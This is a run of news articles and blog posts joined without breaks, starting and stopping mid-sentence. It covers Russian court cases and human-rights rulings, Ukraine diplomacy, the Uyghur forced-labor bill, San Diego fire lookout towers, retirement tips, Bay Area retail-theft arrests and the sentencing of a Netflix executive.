Kavtarashvili in the Kleiner Tiergarten park in August 2019. The shooting, which took place a short distance from the chancellery and parliament, strained already tense Russian-German relations. The guilty verdict is expected to put the new German government under pressure to draw up an appropriate political response, though the judge said politics played no part in the court proceedings. "Some media suggested that Russia or even [Russian President] Vladimir Putin are on trial here.... That's misleading: Only the convict is on the bench. But our task does involve considering the circumstances of the crime," he added. Prosecutors said Krasikov, an alleged officer in Russias FSB secret service, approached Kavtarashvili, aka Zelimkhan Khangoshvili, on a bicycle and shot him with a pistol equipped with a silencer. After the 40-year-old victim fell to the ground, prosecutors said Krasikov shot him in the back of the head before fleeing. Krasikov was arrested following the killing after witnesses said they saw him changing clothes behind a bush. Prosecutors said Moscow ordered the murder because Khangoshvili was a commander of separatists in Russias North Caucasus region between 2000 and 2004. Putin described Khangoshvili as a bandit and terrorist. In the trial, federal prosecutor Nikolaus Forschner argued it was irrelevant whether Khangoshvili was actually a terrorist because as an asylum seeker in Germany since 2016 he posed no threat to justify preventative killing. Forschner accused the Russian leadership of radically disregarding the rule of law and violating German sovereignty. The Russian state's motive, prosecutors said, was retaliation as well as an effort to intimidate other Chechen asylum seekers by making them believe they are not safe from the tentacles of Russia's security apparatus. A Russian Embassy statement called the court's ruling "biased and politically motivated" and said it further complicates Russian-German relations. "The absurd statement that the Russian Federation was involved in this wrongful act was methodically imposed on the public throughout the trial, woven into the general anti-Russian background, but in the end, it was never confirmed by any convincing evidence. We raise grave concerns over the outcome, and such an unfriendly act won't be left unanswered." Prosecutors said the operation was "obviously planned well in advance," with Russian authorities creating a cover identity of Vadim Sokolov and providing support on the ground. The defense argued in court that the evidence presented by prosecutors was "highly questionable," as were allegations of Russian state involvement. Defense lawyer Robert Unger pointed to a lack of witnesses to what happened before the crime and questions over the identity of the suspect. With reporting by AFP, Der Spiegel, Tagesschau, dpa, and rbb24 YESSENTUKI, Russia -- A Russian court has handed lengthy prison terms to seven people who led protests in Ingushetia against a change to the administrative boundaries between the Russian North Caucasus regions of Chechnya and Ingushetia. On December 15, the court in the city of Yessentuki, in the Stavropol Krai region, sentenced Malsag Uzhakhov, Akhmed Barakhoyev, and Musa Malsagov to nine years each; Barakh Chemurziyev, Bagaudin Khautiyev, and Ismail Nalgiyev to eight years each; and Zarifa Sautiyeva to 7 1/2 years in prison. The defendants were found guilty of creating an extremist group and assaulting law enforcement officers. They are leaders or leading members of a group called the Ingush National Unity Committee that the Russian authorities labeled as an extremist organization and banned in July 2020. The charges against them stemmed from an authorized demonstration in March 2019 held in Ingushetia's capital, Magas, to protest the closed-door deal reached in September 2018 to settle an Ingush-Chechen boundary dispute. The protest continued the following day without the authorities permission and was violently dispersed by police. More than 50 people were detained, and charges were filed against at least 10 people. Ingush opponents of the deal say the regions land was unjustly handed over to Chechnya, whose strongman leader, Ramzan Kadyrov, has been accused of interfering in the affairs of neighboring Ingushetia and Daghestan. STRASBOURG, France The daughter of jailed Russian opposition politician Aleksei Navalny has urged European Union governments to stand up to Russian President Vladimir Putin, as she collected the Sakharov Prize on his behalf during a ceremony in the French city of Strasbourg. "I don't understand why those who advocate for pragmatic relations with dictators can't simply open some history books," Darya Navalnaya, a 20-year-old student at Stanford University in the United States, told the European Parliament on December 15 as she picked up the European Union's top human rights honor. "The pacification of dictators and tyrants never works," she said in her speech, delivered 11 months after her father, one of Putin's most vocal critics, was sent behind bars in a case widely considered as being politically motivated. The EU has imposed sanctions on Russian officials over both Navalnys imprisonment and poisoning last year by what several European laboratories concluded was a military-grade chemical nerve agent. European lawmakers chose Navalny as the recipient of the annual Sakharov Prize for Freedom of Thought on October 20, saying he has campaigned consistently against the corruption of Vladimir Putins regime. Navalny dedicated his prize to all kinds of anti-corruption fighters around the world." Navalnaya called the award "a signal to tens of millions of people, citizens of my country, who continue to fight for a better life for Russia. The 45-year-old anti-corruption crusader was jailed on January 17 after returning to Russia from Germany, where he was recovering from the poison attack in Siberia in August 2020. Navalny has claimed his poisoning was ordered directly by Putin, which the Kremlin denies. In February, a Moscow court ruled that while in Germany, Navalny had violated the terms of his parole from an old embezzlement case considered by human rights defenders as being politically motivated. Navalny's 3 1/2-year suspended sentence from the case was converted to a jail term, though the court said he will serve 2 1/2 years in prison given time he had been held in detention. More than 10,000 supporters of Navalny were detained across Russia during and after January rallies calling for his release. Many of the detained men and women were either fined or handed several-day jail terms At least 90 were charged with criminal misdeeds and several have been fired by their employers. Earlier this year, Navalnys Anti-Corruption Foundation (FBK) and other groups associated with him were labeled as extremist and banned in Russia. The European Court of Human Rights (ECHR) has ordered Russia to pay compensation to four victims of domestic violence, including Margarita Grachyova, whose husband used an ax to cut off her hands four years ago. According to the ECHR's December 14 decision, the Russian government must pay more than 370,660 euros ($418,000) to Grachyova to cover her past and future medical expenses and moral and physical sufferings. The judgment also said that three other victims of domestic violence -- Russian women Natalya Tunikova, Yelena Gershman, and Irina Petrakova -- must receive compensation of 25,000 euros ($28,200) each. The case concerned acts of domestic violence, including death threats, bodily injuries and one case of severe mutilation, which the applicants sustained at the hands of their former partners or husbands, and the domestic authorities alleged failure to establish a legal framework for combating acts of domestic violence and bringing the perpetrators to account, the ECHR's judgment said. The ECHR unanimously held that there had been violations of Article 3 (prohibition on inhuman and degrading treatment) and Article 14 (prohibition on discrimination) of the European Convention on Human Rights in relation to the victims. Grachyova told RFE/RL on December 15 that the most important thing for her in the ECHR's ruling was that the court ordered Russia to adopt laws against domestic violence. "I cannot celebrate yet because Russia may appeal the ruling, Grachyova said. I am happier over ECHR's other decision. I hope our country will hear the European court and the measures to protect domestic violence victims will be implemented." In December 2017, Grachyova's husband, Dmitry Grachyov, from whom she was separated at the time, took her to a forest near the city of Serpukhov in the Moscow region, where they lived, used an ax to cut off her hands, and brought her to a hospital. Doctors managed to surgically reattach her left hand after finding it in the forest, while her right hand was replaced by a bionic prosthesis. Dmitry Grachyov was later sentenced to 14 years in prison, and a police officer who ignored Grachyova's previous complaints of attacks by her husband was fired. Grachyova divorced Dmitry Grachyov and remarried. She now lives with her new husband in St. Petersburg. They have three children -- two from the marriage with her previous husband, and one with her new husband. Her ordeal sparked a public outcry across Russia and a new wave of calls to criminalize domestic violence. The ECHR declared in its December 14 judgment that women in Russia are in a situation of de facto discrimination when it comes to protection against the risk of domestic violence. In February 2017, Russian President Vladimir Putin signed a law that decriminalized some forms of domestic violence. The law now categorizes as administrative offenses -- instead of criminal acts -- cases of domestic violence that result in pain but not bodily harm. In the event of any danger to the victims health or in the case of repeat offenses, the perpetrator would face criminal charges. A bill on preventing domestic abuse has been pending on the website of the Russian parliament's upper chamber, the Federation Council, since November 2019. The extremely influential Russian Orthodox Church has campaigned against adopting the bill, claiming that it is anti-family. With reporting by Meduza Russia has presented the United States with a set of proposals for binding Western security guarantees during a meeting with U.S. Assistant Secretary of State Karen Donfried in Moscow on December 15, the Kremlin said. Donfried, who traveled to Moscow after holding talks with officials in Kyiv on a major Russian troop buildup near Ukraine, said in a video posted on Twitter that the United States will share Russia's proposals with its allies and partners. Ukraine and its Western backers have raised concerns that Russia may be preparing an invasion of its neighbor, something Moscow has denied. The Kremlin, which says that a new eastward NATO enlargement would threaten Russia, has demanded guarantees that the alliance will not expand further eastwards or deploy advanced weaponry in Ukraine and other countries that border Russia. Washington and Kyiv have repeatedly said that no one has the right to veto Ukraine's desire to join the Western alliance. NATO says its activities are defensive and meant to discourage new Russian aggression after Moscow in 2014 illegally annexed Ukraine's Crimea region and has been backing pro-Russian separatists who seized a swath of eastern Ukraine that same year. "American representatives were literally today handed concrete proposals in our Foreign Ministry that are aimed at developing legal security guarantees for Russia," Kremlin aide Yuri Ushakov told reporters. "We are ready to start negotiations on this crucial issue immediately," Ushakov told reporters. Donfried met Deputy Foreign Minister Sergei Ryabkov for talks in the ministry earlier on December 15. With reporting by Reuters and TASS A court in Moscow has ordered the Memorial Human Rights Center -- one of the post-Soviet world's oldest and most prestigious human rights organizations -- to pay a 500,000 ruble ($6,800) fine for allegedly violating Russias controversial "foreign agent" legislation. The December 15 ruling comes a day after Russia's Supreme Court resumed a hearing into a request by federal prosecutors to shut down Memorial International, the umbrella organization for the group. The moves are seen as part of a crackdown on civil society and critics of the government that has sparked widespread condemnation at home and abroad. The Memorial Human Rights Center and International Memorial are among dozens of news outlets and rights organizations to have been labeled foreign agents. Russias so-called "foreign agent" legislation was adopted in 2012 and has been modified repeatedly. It requires nongovernmental organizations that receive foreign assistance and that the government deems to be engaged in political activity to be registered, to identify themselves as foreign agents, and to submit to audits. Moscows Tver district court imposed the fine on the Memorial Human Rights Center because the OVD-Info human rights group posted on its website material related to fundraising for Memorial's activities that did not contain a "foreign agent" label. OVD-Info co-founder Daniil Beilinson said the court rejected Memorial's argument that it cannot control whats posted on another organizations website. Memorial's representatives also insist that the "foreign agent" label was added to all the materials related to the group on OVD-Info's website at the courts request in August. Russian authorities say they have detained the main owner of a Siberian coal mine where an explosion killed dozens of people in November, along with three top managers. In all, 51 people, including five rescue workers, were killed after an explosion ripped through the Listvyazhnaya mine in the Siberian region of Kemerovo on November 25. The mine, opened in 2003, is part of SDS-Ugol, one of Russia's largest mining companies. The Russian Investigative Committee detained SDS-Ugol Chairman Mikhail Fedyaev, the companys director-general, Gennady Alekseyev, its technical director Anton Yakutov, and the chief engineer of the coal mine, Anatoly Lobanov, the committee said in a statement on December 15. They were charged with abuse of authority or violation of safety rules resulting in deaths, it said, adding that investigators will request pretrial custody for all of them. Earlier this month, Fedyaev and Alekseyev told a televised meeting with President Vladimir Putin that they were ready to bear responsibility for the tragedy. The mine director, Sergei Makhrakov, his deputy, the immediate site supervisor, and two state safety inspectors were previously arrested. The Main Investigation Department of the Investigative Committee in Moscow is in charge of the probe. According to the state Rostekhnadzor monitoring agency, the mine was inspected 127 times in 2021, as a result of which 914 violations were documented and work was stopped nine times. The most recent inspection took place the day before the explosion. A Russian woman who worked with supporters of jailed Russian opposition politician Aleksei Navalny in the central city of Saratov says she has received political asylum in the Netherlands. Olga Kuznetsova wrote on Instagram on December 15 that she had obtained asylum but didnt say when. It was not clear when she left Russia. Kuznetsova worked as a volunteer for a group of Navalny's supporters in Saratov. She said that officers of the Federal Security Service (FSB) in the summer of 2020 tried to recruit her as an informant. When she refused, she was threatened with criminal prosecution. Later that year law enforcement officers searched her home. Her bank accounts were then frozen, and she was questioned after she took part in a seminar organized by the pro-democracy organization Open Russia. Many of Navalnys former associates have fled the country fearing arrest after a Moscow court in June labeled all organizations associated with him as extremist. Last week, Aleksandr Chernikov, the former head of Navalny's network of regional campaign groups in Russia's far-western exclave of Kaliningrad, said that he and his family were in the United States, where they had asked for political asylum. According to Chernikov, Russian investigators questioned him twice in "a case concerning extremism" after the June ruling, which effectively outlaws all organizations associated with Navalny. In October, the former head of Navalny's network of regional campaign groups in the Siberian city of Novosibirsk, Sergei Boiko, who is also a member of the Novosibirsk City Council, wrote on Twitter that he and his family would not return to Russia from a business trip to an unspecified country because he feared persecution. Boiko said he decided not to return to Russia after the arrest of the former chief of Navalnys support group in the city of Ufa, Lilia Chanysheva. Chanysheva was arrested in November in the Bashkortostan on extremism charges. She was later transferred to a detention center in Moscow, where she is expected to remain in pretrial detention until at least January 9. In another case last month, the chief of Navalny's network of regional campaign groups in St. Petersburg, Irina Fatyanova, said she had left Russia for an unspecified country. Fatyanova also said that she decided to leave Russia after the arrest of Chanysheva. Navalny has been in prison since February, while several of his other associates have been charged with establishing an extremist group. A prosecutor has asked a court in Russia to sentence Yury Zhdanov, the 67-year-old father of Ivan Zhdanov, a close associate of jailed opposition politician Aleksei Navalny, to three years in prison on charges of fraud and forgery that he and his supporters reject as politically motivated. The prosecutor made the request in a court in Russia's Arctic city of Naryan-Mar, on December 15, Yury Zhdanov's lawyer, Vladimir Voronin tweeted. Earlier in the day, the court rejected Yury Zhdanov's request to be transferred to house arrest. Zhdanov was arrested in late March and went on trial in October. Ivan Zhdanov, the former chief of Navalnys Anti-Corruption Foundation (FBK), has accused Russia's presidential administration of trying to pressure him by arresting his father. Yury Zhdanov is accused of recommending that the administration of a remote town in Russia's Arctic region -- where he worked as an official before retiring last year -- provide a local woman with a subsidized apartment, though it later turned out that the woman's family had previously received housing allocations. The apartment was later returned to municipal ownership in accordance with a court decision and no one among those who made the decision was held responsible. Navalny's FBK was known for publishing investigative reports about corruption among Russia's top officials, including President Vladimir Putin. Earlier this year, FBK and other groups associated with Navalny were labeled as extremist and banned in Russia. DUSHANBE -- A court in Dushanbe has handed a prominent Tajik man a long prison sentence over the brutal beating of his alleged "second wife" in a case being closely watched by Tajiks. The victim, 32-year-old Madina Mamadjonova, died in hospital on December 15, the day after the sentencing, relatives and a hospital doctor told RFE/RL. Following a closed-door trial, the court sentenced Parviz Davlatov to eight years in prison on charges that included torture and polygamy, before reducing the prison term to 5 1/2 years under an amnesty law, according to local media reports. Davlatov works for MegaFon, a major mobile-phone operator in Tajikistan, and is the son of a former lawmaker who has also served as an adviser to authoritarian President Emomali Rahmon. He was arrested in early November along with his wife, Aziza Davlatova, who was also charged with attempted murder. Davlatova's trial, also held behind closed doors, is still ongoing, the Supreme Court told RFE/RL. Mamadjonova, a resident of Dushanbe, was hospitalized on August 26 "unconscious, with grave injuries," and apparent signs of strangulation, according to doctors. She later woke up from her coma, but was still unable to talk or walk. Sources close to both families described Mamadjonova as "the second wife" of Davlatov. Having a second wife is not uncommon in Tajikistan, despite polygamy being banned in the Central Asian country. The case made headlines in Tajikistan, where the rich and powerful often evade justice, after prosecutors initially closed it without sending it to trial. The decision backfired after women's rights activists took to social media to demand justice for the victim, sharing photos showing her horrific injuries. Activists signed an open letter about the case to Rahmon's son, Rustam Emomali, who is mayor of Dushanbe, as well as to the prosecutor-general and the interior minister. Suhrob Salimzoda, a deputy district prosecutor who had closed the case using a newly approved mass amnesty law, was dismissed from his post. District police chief Zafar Ismoilzoda also lost his job, allegedly for mishandling the Mamadjonova investigation. Davlatov's family is said to have high-placed political connections through his father, Davlatali Davlatzoda, a founder and the former first deputy chairman of President Rahmon's People's Democratic Party. He has held many other high-profile posts in Rahmon's government. Ukrainian President Volodymyr Zelenskiy has told European Union leaders that Ukraine is ready for talks with Russia in any format but urged Western countries to keep pressure on Moscow through sanctions. Zelenskiy spoke on December 15 in Brussels after meeting with French President Emmanuel Macron and German Chancellor Olaf Scholz on the sidelines of an EU summit. Macrons office said the meeting sought to find ways to restart negotiations in the Normandy format that involves France and Germany. "The three leaders reaffirmed their commitment to this format of negotiations in order to find a lasting solution for the conflict and to preserve Ukraine's sovereignty and territorial integrity," Macrons office added. Zelenskiy said at a news conference that Ukraine is ready for talks in the Normandy format or any other. He said his delegation also explained Ukraines belief about sanctions to its European colleagues. What our state cares about is a strong sanctions policy that comes before a likely escalation, he said. Only this type of relations based on precautionary measures can really stop the military conflict that has been ongoing in the east of our country for eight years now, he said. Zelenskiy spoke after EU leaders met with members of the Eastern Partnership program as the bloc attempts to rescue its outreach to the former Soviet republics in the program amid heightened tensions with Moscow. The Eastern Partnership program, which seeks closer cooperation between the EU and Armenia, Azerbaijan, Belarus, Georgia, Moldova, and Ukraine, was to meet on December 15 with the 27 heads of the EU a day before a full EU summit. The leaders of three of the countries -- Ukraine, Georgia, and Moldova - have lobbied for the start to negotiations to formally join the bloc, but they are expected to win only reassurances of support. The desire of Georgia, Moldova, and Ukraine to join the bloc are complicated by territorial disputes with Moscow. That is especially true for Ukraine, where Russia-backed separatists are continuing a military conflict in its eastern territory that started in 2014, weeks after Russia illegally annexed Ukraine's Crimean Peninsula. Georgia and Moldova also have Russian troops deployed in regions on their soil. In addition, Georgia is going through a political crisis, and Moldova's economy is suffering from a hike in gas prices that Brussels sees as orchestrated by Moscow. Belarus suspended its participation in the Eastern Partnership in June after criticism from the EU of leader Alyaksandr Lukashenka's disputed 2020 reelection. But the current buildup of Russian troops on Ukraine's border is the main issue alarming EU leaders. They have joined the United States in warning Russia against invading its neighbor. Though Moscow denies having any plans to do so, tensions remain high. Zelenskiy also met with European Council President Charles Michel, saying afterward that Ukraines goal is full membership of the European Union. The leaders of Armenia and Azerbaijan are attending the summit but are not seeking EU membership. They met with Michel to discuss ways to overcome tensions and advance diplomacy following last years war between the two countries. Zelenskiy said the atmosphere of the dialogue was quite positive and he congratulated the leaders of Azerbaijan and Armenia as well as Michel. We believe that something like this will also happen one day with the war between Ukraine and Russia -- between our countries, Zelenskiy said. With reporting by Reuters and AFP The U.S. House of Representatives has passed a bipartisan bill to ensure imports from China's Xinjiang region are not made with forced labor due to concerns about human rights abuses against the Uyghur Muslim minority. The Uyghur Forced Labor Prevention Act passed by unanimous voice vote late on December 14, sending it to the Senate, where it is expected to be approved before getting President Joe Bidens signature. The legislation passed after lawmakers agreed on compromise wording that eliminated differences between bills introduced in the House and Senate. We agree with Congress that action can and must be taken to hold the Peoples Republic of China accountable for genocide and human rights abuses and to address forced labor in Xinjiang, White House press secretary Jen Psaki said in a statement. The United States accuses the Chinese government of running detention camps for Uyghurs and other Muslim groups in Xinjiang, where forced labor is used to produce everything from textiles to solar panels. The United States, some other Western countries, and human rights groups accuse China of committing genocide against Uyghurs and other Muslim groups through mass internment, forced labor, population control, and the elimination of the minorities religious beliefs and culture. China denies the allegations, saying it runs reeducation camps to fight Islamist extremism. The Uyghur legislation had been stalled for months due to bickering between Republicans and Democrats in the House and Senate. Republicans had accused Biden's Democrats of stalling the legislation because it would complicate the president's renewable energy agenda. Much of the worlds solar panels are produced in Xinjiang. Republicans also accused Democrats of bowing to lobbying from U.S. corporations, such as Apple and Nike, that reportedly profit from forced labor in Xinjiang. Democrats denied both charges. The White House said it has already taken measures against China over the situation in Xinjiang and would continue to work at home and abroad to prevent the use of force labor. The administration will work closely with Congress to implement this bill to ensure global supply chains are free of forced labor, while simultaneously working to on-shore and third-shore key supply chains, including semiconductors and clean energy, the White House said. With reporting by Reuters There was a time in the past century when lookout towers sat atop mountains and hills all over Southern California, manned by professionals from the U.S. Forest Service who scanned the horizon searching for the slightest puff of smoke. Across San Diego County from Cuyamaca Peak to Mount Woodson to Black Mountain and beyond the towers offered the best way to detect wildfires quickly. Most of the structures have long been abandoned, replaced by back-country cameras, satellite technology and better communications systems. Today there are just three lookout towers in the county, including two on Palomar Mountain that have recently been brought back to life by dedicated volunteers in partnership with the federal and state government. For the spotters, the work is both peaceful and challenging. Advertisement The big thing is I really enjoy trying to identify the small little wisps of smoke out there, said Dave Cuthbert, 69, a retired operations manager at the San Diego Zoos Safari Park who became a volunteer with the San Diego-Riverside chapter of the Forest Fire Lookout Association two years ago. Its almost like a game where Im trying to beat my own eyes. Cuthbert was one of three volunteers staffing the Boucher Hill Lookout on Palomar Mountain Tuesday. The Boucher site is the most recent tower to be brought back into service and has quickly become what experts believe is the most visited lookout tower in the United States. Located in Palomar Mountain State Park and owned by the park system, the Boucher Hill Lookout is staffed every day from May 1 to Thanksgiving by at least one of 90 volunteers. The lookouts work full days, stretching roughly from 8 a.m. to 6 p.m. This past month, eight fires were reported first by lookouts at the Palomar sites, said Neil Cadwallader, the assistant chairman of the local lookout association. The other tower, High Point, reopened in 2009 roughly five miles from Boucher, on a remote piece of Cal Tech property on the northern side of the mountain. Boucher is much easier to access, with paved roads just past the entrance to the state park. Boucher is also is a historical site that, according to Lookout Association website, has held some kind of lookout tower since 1921. The current structure was built in 1948 and was in service until 1983, before being shuttered for roughly nearly three decades. The California Parks Department spent about $350,000 refurbishing the tower, which reopened in 2012. Visitors can now climb the 43 stairs to the top where they will be given a lesson on the towers past. The first year it reopened, the Boucher tower recorded 1,438 visitors. Each year the number has increased, and in 2016 more than 11,000 people dropped by. Some of them have since become lookout volunteers themselves. We dont know for sure because there arent any statistics, but I like to claim that ... this is the most visited lookout in the world, said Cadwallader. He said the next busiest tower doesnt get half as many visitors. Over at High Point, Scott McClintock chairman of the local lookout chapter and a retired San Diego Sheriffs Department commander was staffing the tower Tuesday. The High Point tower takes 94 steep steps to ascend. We dont get many visitors here, McClintock said. The tower is run in partnership with the U.S. Forest Service, so volunteers there wear a different uniform than when they work at Boucher Hill, which is controlled by the state. Its a whole different experience (than busy Boucher) he said. I like revolving between both just to get a little taste of each. Most volunteers serve just once or twice a month through the lookout season. About 75 percent of them are retired and many have previously worked for the forest service. Most have always loved the forest and outdoors. Nathan and Jenna Pyle dont quite fit that mold. The younger couple have full time jobs like Cuthbert, they also work at the Zoo but both volunteer once or twice a month at the towers. We like it, said Nathan Pyle, who is helping establish a ham radio system at the towers. Its nice to get out of the city and the usual hustle and bustle. The Pyles and the other volunteers also get a kick out of the attention to detail that was paid when the towers were refurbished. Each tower looks like it did from years ago. Boucher Hill has been retrofitted to look exactly like it did when the tower was rebuilt in 1948. We even used the same ugly green paint, Cadwallader said. Sixty miles to the south is the countys third tower, Los Pinos, which has been in continuous operation since the 1930s and is owned and run completely by the fire service. Curt Waite is a full-time employee who spends four days a week and three nights inside the lookout near the US/Mexico border near Lake Morena and the Corral Canyon State Off-Highway Vehicle Park. Waite was at one time the volunteer associations chairman. Los Pinos was formerly the domain of Norm Mitchell, who held the main lookout job for 27 years until his death earlier this year. Waite was offered the position after Mitchell passed away. He said he doesnt get lonely, even though the tower is deep in a wilderness area and visitors are far and few between. A former missionary who operated Christian radio stations in the Caribbean, Waite said he was drawn to the lookout association after reading a story about High Point coming back on line. Its really homey here in the cab, Waite said about his three-nights-a-week accommodations. We have a nice comfortable bunk, a stove, a microwave, and a sink all the amenities. Its not bad. Los Pinos is the only tower to have never closed, partly because of its proximity to Mexico, where people crossing the border have been known for decades to accidentally start blazes, and because of its closeness to the off-road area and popular hiking trails. jharry.jones@sduniontribune.com; 760/529-4931; Twitter: @jharryjones Thank you for reading! On your next view you will be asked to log in to your subscriber account or create an account and subscribepurchase a subscription to continue reading. For some people, New Years Day is just another day to make promises they probably wont keep. Only 7% of people actually keep the New Years resolutions that they make on New Years Day. And most dont even plan for their potential retirement. The typical American will spend at least 20 years in retirement in their lifetime. So, here are five ways to start your New Year with retirement in mind. Start Planning Your Retirement Number If you want to start your New Year with retirement in mind, you need to begin calculating your retirement number. And to explain why you need a retirement number, lets first explain Retirement does not occur within a vacuum. And unless you begin planning as early as possible, you wont be able to retire, retire on your own terms, or retire long-term. A retirement number is an elderly lifestyle fund designed to pay for your living expenses for the rest of your life. Retirement should be shorthand for retirement fund for your needs. And the average age of retirement is 62, but most people live until the age of 80. So, you need to calculate how much money you need in your retirement fund to last you through the entirety of retirement. If your retirement number is not correct. Then your retirement fund could be exhausted before your die. You could end up going back to work part-time in your 80s or early 90s. How do you calculate a retirement number? You have to think about where you will live during retirement, the cost of your average expenses, and then calculate how much life in retirement will cost you every day, week, month, and year. To start your New Year with retirement in mind, start planning your retirement fund as early as possible. The earlier that you start, the better. Consult the help of a financial advisor or retirement planning expert if possible. Downgrade Your Life Downgrading your lifestyle is the process of adopting a financially beneficially minimalist mindset when it comes to living. You can start your New Year with retirement in mind by considering how to downgrade your life. Remember the retirement number that I talked about? The average retiree spends $48,000 annually, or $4,000 monthly on their retirement expenses. If you live in a large metropolitan city, you will spend a lot more than $48,000 annually on retirement expenses. To start your New Year with retirement in mind, you need to consider how to add money to your retirement number over the next decade. You can start saving money for retirement by downgrading your life. Instead of living in a large house, you can sell it to live in a smaller house or apartment. You can sell a large car to get a smaller, fuel-efficient model or start using public transportation. Downgrading is a mindset when it comes to spending as well. Stop buying brand-name products and only buy generic brand products. You can save hundreds or thousands of dollars annually by doing that. Sit down and calculate how you can downgrade your life? What can you minimalize in your life to save more money? Pay Off Debts The time to completely pay off your debts is long before retirement, not after. If you cant stay on top of your debts now when youre working, how will you deal with them when you are retired? Downgrading your life will help to free up more money in your life to save and pay off your debts. Develop debt reduction strategies with a financial advisor. Pay all your debts on time and in full. Develop a multi-year plan to pay off all of your debts with a debt-free day as a goal somewhere in the future pinned on your calendar. Start your New Year with retirement in mind by pledging to become debt-free sometime in the long-term future. You will have no future retirement with unmanageable debt, so start planning now. Work As Long As Possible Start your New Year with Retirement in mind by endeavoring to work professionally for as long as you are able to do so. If you retire at age 62 or 65, then the countdown to your retirement fund running on empty officially begins. Once you are retired, you have officially entered post-working life. And unless you qualify for Social Security or have other revenue streams, you may have to live solely on your retirement fund. By working as long you are able to do so, you can save more money. You could even become part-time retired for several years so you can live off your working income and a minuscule portion of your retirement fund until you are fully retired. Meanwhile, you can start planning to delay receiving Social Security benefits until you are 70. If you wait until you are 70 to receive Social Security, while working and saving in the meantime, you will receive 132% of the monthly benefit. And by waiting until you are 70, you will have an extra source of income to add to your retirement account. Apply for a Pension or Retirement Account Start your new year with retirement in mind by asking at your job about pension plans or retirement accounts. Such retirement-saving opportunities may be available at your job unbeknownst to you. Talk to your job about IRS or 401(k) plans and how to apply. The earlier that you start a retirement account plan, the better. Start Your New Year With Retirement in Mind Retirement is a lifestyle fund for you or yourself and a spouse. The earlier that you start planning for your retirement, the better your plans will be executed in reality. Consult a financial advisor with experience in retirement planning. If your New Years resolution is to start planning your retirement, stick with it. The earlier you start, the better off you will be. Read More 4 Financial And Legal Drawbacks Of Becoming A Millionaire Why You Must Consider Getting An HSA Received An Inheritance? Get Ready For Problems If you enjoy reading our blog posts and would like to try your hand at blogging, we have good news for you; you can do exactly that on Saving Advice. Just click here to get started. Check out these helpful tools to help you save more. For investing advice, visit The Motley Fool. The California Highway Patrol and San Francisco police uncovered a massive retail theft operation last week, with officers arresting two suspects and recovering more than $200,000 in stolen goods, officials said. The arrests come on the heels of numerous brazen thefts across the Bay Area in which caravans of dozens of people broke into stores, making off with countless items worth thousands of dollars. Bay Area cities were on high alert after the November thefts, with law enforcement agencies ramping up officer patrols and pledging to try to catch and later prosecute thieves as a debate over retail theft and its impact on local businesses and communities intensified. These kinds of crimes arent just hurting large retailers, San Francisco Police Chief Bill Scott said in a statement Tuesday. In our city, theyre hurting workers who are losing their jobs and seeing their hours cut. Theyre hurting seniors who depend on neighborhood pharmacies that are being forced to shutter. ... Theres no place for organized retail theft in California. On Thursday, CHP investigators with the agencys Organized Retail Crime Task Force executed a search warrant at a home in Vallejo where they found evidence of a retail theft operation that had targeted multiple stores, including Target, Walgreens, Nordstrom, Safeway and Victorias Secret, officials said. Officers executed a separate search warrant at a storage facility in Vallejo that investigators believed was connected to the same suspect. While the CHP searched that storage facility, investigators with the San Francisco police Retail Theft Unit searched a storage facility in San Francisco, officials said. As officers searched the San Francisco unit, a man connected to the locker arrived. Officers determined that he was involved with organized theft and arrested him, officials said. After police questioned the man, the CHP returned to the home they had searched in Vallejo and arrested a second person, whom the CHP referred to in its statement as the primary suspect of the operation. As a result of the searches and arrests, officers recovered about 15,000 stolen items worth more than $200,000, officials said. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. The brazen retail thefts weve seen recently are organized by sophisticated criminal enterprises and they demand a no less sophisticated response from law enforcement agencies working in close coordination, said Chris Costigan, chief of the CHPs Golden Gate Division. The CHP said the investigation into the theft operation is ongoing and that more arrests are expected. We hope this sends a strong message to would-be thieves and those facilitating their crimes that they will be held accountable, Costigan said. Andy Picon is a San Francisco Chronicle staff writer. Email: andy.picon@hearst.com Twitter: @andpicon A former Netflix executive was sentenced to 2 years in federal prison, fined $50,000 and ordered to forfeit $700,000 Tuesday for taking bribes and kickbacks from technology companies that had contracts with the video-streaming service. Michael Kail, 52, the companys vice president for information technology from 2011 to 2014, was convicted by a San Jose federal jury in April of 28 felony charges of fraud and money-laundering. He was sentenced by U.S. District Judge Beth Labson Freeman, who ordered him to report to prison next March. Prosecutors presented evidence that Kail collected more than $500,000 in personal payments, along with valuable stock options, from nine companies in exchange for approving contracts with the firms. They said he used the money to buy a home in Los Gatos, where Netflix is headquartered, and pay personal expenses. None of the companies was charged with wrongdoing. In one instance, prosecutors said, Kail signed a personal stock purchase agreement with a tech company, then provided that company with internal information from Netflix about competitors prices before approving a $250,000-per-year Netflix contract for the tech companys products. Another tech firm paid Kail $5,000 a month, plus stock options, before he approved a $112,500 Netflix contract with the firm, prosecutors said. After leaving Netflix, Kail worked briefly as chief information officer for Yahoo, then started his own software security company, Cybric. Mr. Kails greed to enrich himself cost Netflix and its shareholders money and property by agreeing to contracts for goods and services beyond what the company needed or would have paid for, Mark Pearson, an Internal Revenue Service investigator, said in a statement after the sentencing. Mr. Kail abused a position of trust and facilitated a scheme that benefited himself. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Prosecutors had sought a seven-year prison term and a $250,000 fine for Kail and said in court papers that a stiff sentence was needed as a warning to other greedy executives. Kails attorney, Julia Jayne, argued for a sentence of 12 months of house arrest and 500 hours of community service, calling the case an aberration from his lifetime of honorable conduct. She said Tuesday that Kail would appeal his conviction and sentence. Mr. Kail maintains that every vendor at issue brought value to Netflix and helped propel Netflix's success as a technology company, Jayne said. Bob Egelko is a San Francisco Chronicle staff writer. Email: begelko@sfchronicle.com Twitter: @BobEgelko Curtis Karnow was one of four San Francisco Superior Court judges challenged for re-election by city public defenders last year because all four had been appointed by Republican governors. The four judges, who were all registered Democrats, gained support from local judges and political leaders and won with substantial majorities. But Karnow says the victory came at a price, to both the judges and the judicial system. We spent all of our time dialing for dollars, the judge, a 2004 appointee of Gov. Arnold Schwarzenegger, said last week at a Commonwealth Club panel on Judicial Independence and the Public Good. Gaining a prized endorsement from the Democratic County Central Committee required the judges to go to the party bosses and curry favor, he said, while donors who together gave more than $600,000 to the four campaigns wanted to know what we would do for them. Most of them were lawyers who appeared regularly before the judges. To avoid conflicts of interest, Karnow posted the names of his campaign contributors, and their law firms, outside his courtroom, while wondering, What kind of a message does that send to the other firm? On the same day, voters in Santa Clara County sent their own message by recalling Superior Court Judge Aaron 